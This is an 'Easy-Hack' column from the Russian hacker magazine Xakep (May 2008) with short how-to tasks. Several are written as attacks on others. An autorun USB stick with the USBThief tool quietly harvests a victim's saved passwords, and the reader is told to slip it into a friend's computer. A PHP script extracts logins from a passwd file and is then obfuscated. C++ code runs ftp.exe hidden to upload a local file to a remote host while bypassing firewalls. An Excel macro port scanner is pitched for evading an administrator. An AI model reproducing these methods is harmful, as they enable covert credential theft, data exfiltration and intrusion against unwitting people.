Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 113, МАЙ 2008 г.

Easy-Hack

Хакер, номер #113, стр. 113-044-1

Задача

Изменить вид PHP скрипта, оставив функциональность на прежнем уровне

Решение

Зачастую нам требуется видоизменить тот или иной двиг/сорец на ПХП. Причины могут быть разные: от шифрования содержимого до нарушения копирайтов. Утилы для шифрования не всегда удобны, поэтому воспользуемся обфускатором PHP кода. Действовать будем на конкретном примере.

1. Есть подопытный PHP скрипт:

<?

$fn=fopen("E:passwd.txt","r");

if(!$fn)

{

echo("Can't open passwd.txt");

}

else

{

while(!feof($fn))

{

$np=fgets($fn);

$str=strrev($np);

$login=substr(strrchr($str,":"),1);

$rev=strrev($login);

$fp=fopen("E:logins.txt","a");

fputs($fp,"$revn");

fclose($fp);

}

fclose($fn);

}

?>

Комментировать суть скрипта не буду, скажу лишь, что он выдирает логины юзеров из passwd-файла.

2. Заходим на http://taran.su/abf/ и загружаем наш скрипт. После чего жмем батон «GO».

3. Сохраняем полученный скрипт. Как указано на сайте: «PHPabf beta v0.1 это обфускатор PHP кода. Сама обфускация заключается в изменении имен переменных и функций, а также удалении лишних символов, в результате чего затрудняется понимание кода. Структура самой программы (последовательность функций и операторов) не меняется. Процент работоспособности скриптов после обработки – порядка 70% (возможны проблемы в скриптах, использующих ООП). В общем, кому интересно – пробуем :)».

4. Открываем сохраненный скрипт и смотрим содержимое:

<?php $GLOBALS[' ']="x66x6Fx70x65x6E"; $GLOBALS[' ']="x66x65x6Fx66"; $GLOBALS[' ']="x66x67x65x74x73"; $GLOBALS[' ']="x73x74x72x72x65x76"; $GLOBALS[' ']="x73x75x62x73x74x72"; $GLOBALS[' ']="x73x74x72x72x63x68x72"; $GLOBALS[' ']="x66x70x75x74x73"; $GLOBALS[' ']="x66x63x6Cx6Fx73x65"; $ =$GLOBALS[' ']("E:passwd.txt","r"); if(!$ ) { echo("Can't open passwd.txt"); } else { while(!$GLOBALS[' ']($ )) { $ =$GLOBALS[' ']($ ); $ =$GLOBALS[' ']($ ); $ =$GLOBALS[' ']($GLOBALS[' ']($ ,":"),1); $ =$GLOBALS[' ']($ ); $ =$GLOBALS[' ']("E:logins.txt","a"); $GLOBALS[' ']($ ,"$ n"); $GLOBALS[' ']($ ); } $GLOBALS[' ']($ ); } ?>

5. Убеждаемся в работоспособности скрипта и радуемся.

5а. Перед заливкой потри все комменты, ибо обфускатор не умеет с ними работать.

Задача

Быстро и незаметно слить пароли с локального компа на флешку

Решение

Вопрос о создании флешки «ближнего боя» известен давно. В зависимости от ОС, нужд и требуемых результатов он решался по-разному. Существует относительно простой способ подготовить носитель оперативного использования. Все, что от тебя потребуется – это прямые руки и четкое соблюдение описанных ниже инструкций. Приступим.

1. Сливаем утилу USBThief, которую мы заботливо выложили для тебя на нашем DVD.

2. Распаковываем архив и смотрим содержимое папки:

  • batexe
  • icons
  • Dump
  • nircmd.exe
  • autorun.inf

3. Копируем содержимое себе на флешку, не забыв про авторан:

[autorun]

action=Open Files On Folder

icon=iconsdrive.ico

shellexecute=nircmd.exe execmd CALL batexeprogstart.bat

4. Приходим в гости к потенциальной жертве. Улучив момент, подходим к компу и вставляем флешку в свободный разъем. Ждем примерно минуту и вынимаем носитель.

5. Довольствуемся урожаем, среди которого:

  • Аккаунты к IM-клиентам
  • Мыльные аккаунты
  • Сохраненные логины/пароли в ослике
  • Журнал посещений
  • Информация об ОС, апдейтах, лицензиях, etc
  • Данные об открытых портах

Это далеко не полный список того, что ты можешь выловить в папке /Dump после похода в гости. Кстати, утила функционирует практически незаметно. Так что, не опасаясь разоблачения, можешь дать флешку товарищу якобы, чтобы слить у него музыки/софта.

Задача

Награбить проксиков с веба

Решение

Иногда одного-двух проксиков бывает недостаточно. Это может быть вызвано особенностью софта или поставленной задачей. Требуются большие прокси-листы, но отдавать за них деньги из собственного кармана не очень приятно. Можно обратить внимание на паблик-прокси. Они отлично подойдут для использования в сканерах (и другом полезном софте). Возникает лишь одна проблема – сбор проксиков с веба.

1. Работать будем со скриптом proxygrabber.php:

<?

set_time_limit(0);

if(!isset($_POST['filename'])) {

exit(0);

}

$mask = '/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]+/';

$fd = fopen($_POST['filename'], "rt") or die("Can't open file");

$site_list = explode("n", fread($fd, 9999));

foreach ($site_list as $site) {

if ( ($site_fd = fopen($site, "rt")) !== false) {

while(!feof($site_fd)) {

$str = "";

$str = fgets($site_fd, 1024);

if (preg_match($mask, $str, $ip)) {

echo $ip[0] . "<br>";

}

}

}

}

?>

2. Товарищ _3lf заботливо написал хтмл-форму для удобной заливки файлов с линками на прокси-листы (лежит вместе со скриптом на нашем DVD).

3. Заливаем граббер на сервер, указываем файл с линками на прокси-листы (напарсишь в Гугле без особых проблем) и жмем «Start». Файл должен иметь вид:

http://www.site.com/list1.html

http://www.site.com/list2.html

http://www.site.com/list3.html

http://www.site2.com/list1.html

http://www.site3.com/list2.html

http://www.site4.com/list3.html

4. Собственно, все. Довольствуемся результатом.

Скрипт достаточно шустрый, однако ты вполне можешь замутить многопоточность, переписав его на перле. В общем, как добывать проксики – решать тебе :).

Задача

Написать простой loader на С++

Решение

Заливать файл на сервер будем по ftp при помощи стандартной виндовой утилы ftp.exe. Процесс автоматизируем небольшой прогой на С++. Одно из преимуществ этого метода – обход криво настроенных фаерволов, так как у большинства незадачливых владельцев «огнестенок» командная строка (через которую, собственно, и работает майкрософтовский фтп-клиент) находится в списке доверенных приложений. Вооружившись компилятором, приступим к решению.

1. При запуске ftp.exe программе необходимо передать два параметра: путь до файла с командами и имя (либо IP) хоста. Допустим, наиболее безопасным местом для создания файла будет виндовая директория. Забросим в переменную com_file путь вида X:WINDOWSftp_commands:

char com_file[256];

char m_dir[256];

GetWindowsDirectory(m_dir,sizeof(m_dir));

strcpy(com_file, m_dir);

strcat(com_file,"\ftp_commands");

Здесь все предельно понятно, стоит лишь обратить внимание на двойной бэкслеш (\) вместо одинарного. Его нужно использовать везде, где необходимо показать вложенность директорий.

Завершим создание переменной с параметрами, используя com_file:

char param[128];

strcpy(param, "-s:");

strcat(param, com_file);

strcat(param, " ");

strcat(param, "my-host.com");

В результате в переменной param получим:

"-s:X:WINDOWSftp_commands my-host.com".

2. Начинаем общение с сервером. Путь до файла с командами определили, а с самим файлом не поработали. Исправим это: запишем в него последовательность команд, передаваемых ftp-шнику.

ofstream of(com_file);

of<<"mylogin"<<endl;

of<<"mypass"<<endl;

of<<"cd WWW"<<endl;

of<<"send " << "D:\WINDOWS\regedit.exe" << " " << "regedit.exe" << endl;

of<<"quit";

of.close();

Передаем логин и пароль. Строчкой «cd <имя_папки>» меняем директорию (если требуется). Командой send (send <локальный_файл> <файл_на_сервере>) будет послан экзешник с редактором реестра. Ну а строчкой «quit» попрощаемся с фтп-шником сервера.

3. Воспользуемся функцией ShellExecute() для запуска ftp.exe. Третьим параметром покажем намерение запустить виндовый фтп-клиент, а четвертым передадим подготовленную строку с параметрами для него. Чтобы не беспокоить пользователя, укажем SW_HIDE и консольный запуск ftp.exe пройдет незаметно. Набираем:

ShellExecute(0 ,NULL, "ftp", param, NULL, SW_HIDE);

Готово. Компилируем, запускаем, проверяем ftp-сервер.

Задача

Создать плацдарм для экспериментов на рабочей Винде

Решение

Отбросим в сторону скучные виртуальные машины, создание «слепков», копий системы и использование соседского компьютера для тестов необычного софта. Есть более дешевый в плане времени и сил способ.

1. Работать будем все с той же осью, приветственный экран которой видим каждый день. Могу уверить, что все нижеописанное испробовал лично и ничего с твоими форточками не случится. Итак, ставим почти бесплатную прогу ShadowUser Pro. Принцип работы основан на том, что «слепок» системы не создается, а ведется четкая история ее изменений (что экономит место на винте).

2. Выбираем Configuration на панели слева. Первая вкладка (Volumes) предоставляет нам список дисков, за изменениями которых будем следить. При тестах утил, которым мы не доверяем или не имеем понятия об их направленности, лучше перестраховаться и выбрать All Volumes. В противном случае какой-нибудь трой вольготно устроится на незащищенном носителе и продолжит свое существование после перезагрузки.

3. Следующая вкладка (Exclusion List) позволяет создавать список папок, изменения в которых отменяться не будут. В папки будем складывать результаты работы (логи, конфиги – все, что угодно), которые останутся нетронутыми при возврате к первоначальному состоянию системы. Минимальная подготовка закончена, приступим к тестам.

4. Режим, в котором можно свободно экспериментировать, называется «ShadowMode». Он запускается щелчком по кнопке Mode и выбором Activate. Действовать режим начнет только после перезагрузки, о чем будет выведено предупреждение. Перезагружаемся. Сразу заметны яркие обои, оповещающие о включенном ShadowMode (настраивается через Options -> Wallpaper). С этого момента можно выполнять любые действия. Вот что было опробовано мною:

  • копирование/удаление/изменение файлов;
  • инсталляция и деинсталляция программ;
  • добавление/удаление разделов и значений реестра;
  • изменение параметров автозагрузки в msconfig;
  • изменение параметров запуска и работы сервисов;
  • изменение сетевых настроек;
  • смена стиля Винды, обоев и скрытие панели задач;
  • запуск практически безобидного троянчика.

Наигрался? Пора возвращать все на свои места. Находим в трее ShadowUser и отключаем режим ShadowMode, выбрав Lose_All_Changes и приняв предложение перезагрузиться. После перезагрузки видим отсутствие любых изменений, внесенных при работе в ShadowMode. Удобно? И не говори :).

Задача

Избежать многократного выполнения цикла при пошаговой отладке процесса

Решение

Всем известно, что практически любая программа использует циклы в очень большом количестве. Они могут быть сгенерированы при компиляции даже там, где, казалось бы, их быть не должно. Очень утомляет, когда при пошаговой отладке в OllyDbg (по нажатию клавиши <F7> или <F8>) программа крутит цикл десятки и сотни раз. Наблюдать за этим нет никакого смысла, если только во время выполнения не генерируется какое-либо значение. Как избежать «зацикливания» при пошаговой отладке? Ответ проще, чем ты думаешь. Конструкция цикла обычно выглядит следующим образом:

CMP регистр1, регистр2; сравнение двух значений

[Оператор_условного_перехода] адрес; условный переход на указанный адрес.

Оператор условного перехода является одной из инструкций: je, jle, jz, jnz. Все они проверяют состояние регистра флагов, биты которого принимают то или иное значение в зависимости от результата выполненной операции (чаще всего – операции сравнения – «CMP»). Как правило, адрес, на который указывает инструкция условного перехода в случае цикла, меньше адреса, по которому располагается сам переход (то есть, меньше содержимого регистра EIP на момент выполнения инструкции перехода).

Можно сделать простой вывод – цикл должен быть выполнен не пошагово, а в режиме исполнения программы. После чего необходимо приостановить ее.

1. Поставить точку останова на инструкцию, следующую сразу после операции условного перехода (<F2> в OllyDbg).

2. Запустить программу на исполнение (<F9>).

3. После остановки программы на брейкпоинте продолжить ее выполнение в пошаговом режиме (<F7> или <F8>).

Задача

Просканировать порты удаленной машины с помощью Excel

Решение

Представь, что ты в строгом офисе, где мало возможностей для хакерских шалостей. Но требуется пошалить, а именно автоматизировано просканировать порты удаленной машины, находясь в условиях замкнутой (изолированной) программной среды, в которой запрещено использование стороннего софта (в нашем случае, сканеров портов).

Прибегая к действиям по ограничению свободы работников, администратор рискует столкнуться с человеческим фактором: «чем больше пытаются эшелонировать защиту и снизить риск атак в кругу своих коллег, тем больше интереса и действий с их стороны последует».

В качестве варианта решения предлагается воспользоваться простым средством, доступным каждому – Microsoft Excel.

1. Создадим произвольный файл Excel. Теперь сделаем маленькую разметку и приступим к программированию, а именно написанию злого VBA-макроса. Макрос прост – в таблице обозначим поля для диапазона портов и, собственно, хоста.

2. Переходим в меню «Сервис -> Макрос -> Макросы» и жмем на кнопку «Создать», предварительно назвав макрос прямым именем «PortScan».

3. В открывшемся окне редактора вобьем мой вариант макроса (ищи на DVD). Суть макроса поймет даже ребенок – идет обозначение переменных (в том числе, сетевых), присвоение переменным значений ячеек, а затем, собственно, сканирование каждого порта и... завершение работы нашего чудо-сканера.

4. Наслаждайся жизнью и помни, что этот сканер можно при желании и наличии прямых рук превратить в полноценный эксплойт. И никакой администратор не догадается.

Релиз моего портсканера ты также можешь взять с нашего сайта (xakep.ru/post/22983/default.asp).

Задача

Собрать с одного хоста все поддомены

Решение

Воспользоваться услугами domainsdb и прочими ресурсами – вариант известный. Я же предлагаю принципиально новый, а главное, действенный прием по разведке доступных поддоменов. В этом нам помогут Google-группы (http://groups.google.com). Дело в том, что Google индексирует сайты и их поддомены в качестве групп. Зачастую туда попадают и отличные по контенту вещи. С помощью разумного парсинга ты получишь желаемый результат. Итак, для успешной разведки тебе нужно:

1. Поставить поддержку Python на твой сервер.

2. Целиком и полностью довериться моему парсеру, который обращается к Google-группам по целевому хосту, выдирает из страниц ответа ВСЕ возможные поддомены и... предоставляет их тебе! Не жизнь, а сказка (скрипт, естественно, лежит на нашем DVD).

3. Наслаждаться моей добротой :)

Содержание
ttfb: 36.390066146851 ms